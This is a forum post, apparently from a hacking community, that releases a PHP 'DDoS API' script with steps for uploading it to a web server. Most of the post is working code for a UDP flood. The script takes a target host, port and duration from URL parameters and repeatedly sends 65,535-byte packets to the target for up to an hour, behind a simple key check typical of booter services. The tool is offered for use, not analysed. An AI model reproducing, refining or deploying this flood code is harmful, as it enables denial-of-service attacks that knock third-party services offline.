My last DDoS API I released was very messy, sloppy, and have duplicated code in it. I have made this DDoS API much simpler, as the UDP Attack script is built into the script itself, so there is no need for extra packages. If you need help with anything, feel free to contact me.
Tutorial:
1. Upload to server web folder. Usually (/var/www/html)
2. Edit the api.php file, and change the API to your desired key.
3. Open the PHP file in your web-browser and enjoy!
selinux version.
Spoiler (Click to View)
Tutorial:
1. Upload to server web folder. Usually (/var/www/html)
2. Edit the api.php file, and change the API to your desired key.
3. Open the PHP file in your web-browser and enjoy!
Code
<?php #$_GET Requests
$apikey = $_GET['apikey'];
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$method = $_GET['method'];
#DDoS Info
$max_boot_time = "3601"; #Change to desired max boot time, then +1. Example: 5000, make it 5001. ** DO NOT ADD QUOTATION MARKS(,) **
$max_boot_time_show = "3,600 seconds."; #Change this to the desired max boot time you already picked above. Do not remove (seconds.).
$key = "123"; #Change this with your desired login key.
$time = time();
$max_time = $time + $exec_time;
$packets = 0;
#Script Settings
set_time_limit(0);
ignore_user_abort(FALSE);
#API Verification
if ($apikey == null) {
ob_end_clean();
echo 'Enter your API Key.';
} else {
}
#Main
if ($apikey == $key) {
if ($host == null) {
echo "Invalid Format: Enter a host.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
} else {
if ($port == null) {
echo "Invalid Format: Enter a port.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
} else {
if ($time == null) {
echo "Invalid Format: Enter boot time.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
} else {
if ($exec_time >= $max_boot_time) {
echo 'Your max boot time is ' . $max_boot_time_show . '';
} else {
for ($i = 0; $i < 65535; $i++) {
$out .= "X";
}
while (1) {
$packets++;
if (time() > $max_time) {
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
echo '[UDP FLOOD]: Attack has been sent to ' . $host . ' for ' . $exec_time . ' second(s).';
}
}
}
}
} else {
echo 'Invalid API Key';
}
?>selinux version.
Spoiler (Click to View)



